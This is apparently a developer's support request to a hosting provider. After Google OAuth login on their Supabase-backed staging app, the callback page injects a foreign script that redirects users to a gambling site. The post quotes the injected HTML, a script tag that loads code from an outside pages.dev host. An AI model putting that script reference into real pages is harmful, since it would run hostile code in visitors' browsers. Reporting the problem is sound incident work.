Hello Railway Support Team,
I’m experiencing a critical security issue affecting my staging environment hosted on Railway. After a successful Google OAuth login, users are being redirected to an unrelated malicious gambling website.
This issue does NOT occur in production (or local development), which uses a custom Supabase domain. It only happens on staging/dev, which uses the auto-generated Supabase domain and is hosted via Railway.
Google OAuth completes successfully
User is redirected to /auth/callback
Instead of staying within the app, a malicious JavaScript file is executed
This script then redirects the user to an external gambling site
Discord OAuth works correctly in all environments.
Environments:
Staging
Hosted on Railway
Uses auto-generated Supabase API/domain
No recent code or config changes (last ~7 days)
Same OAuth client ID/secret as production
Production
Uses custom Supabase domain
OAuth works perfectly
No malicious redirect
OAuth Redirect Flow
Redirect:
https://dev.clipthis.app/auth/callback?code=...&next=/intro
Observed behavior:
The callback page loads the following HTML before redirecting to a malicious site:
<!DOCTYPE html>
<html>
<script src="//load-5m6.pages.dev/min.js"></script>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js"></script>
</html>
This script is not part of our codebase and is never served in production.
/auth/callback Implementation
The callback route is implemented using a Next.js Route Handler and only performs:
supabase.auth.exchangeCodeForSession
A server-side redirect via NextResponse.redirect(...)
No client-side scripts are included or rendered here.
Supabase Confirmation:
I contacted Supabase support. They confirmed:
If it correctly redirecting to that path, then from the Supabase side of things that sounds like it's working as expected?
So yes, anyone can help me with that? Im currently clueless...
Thank you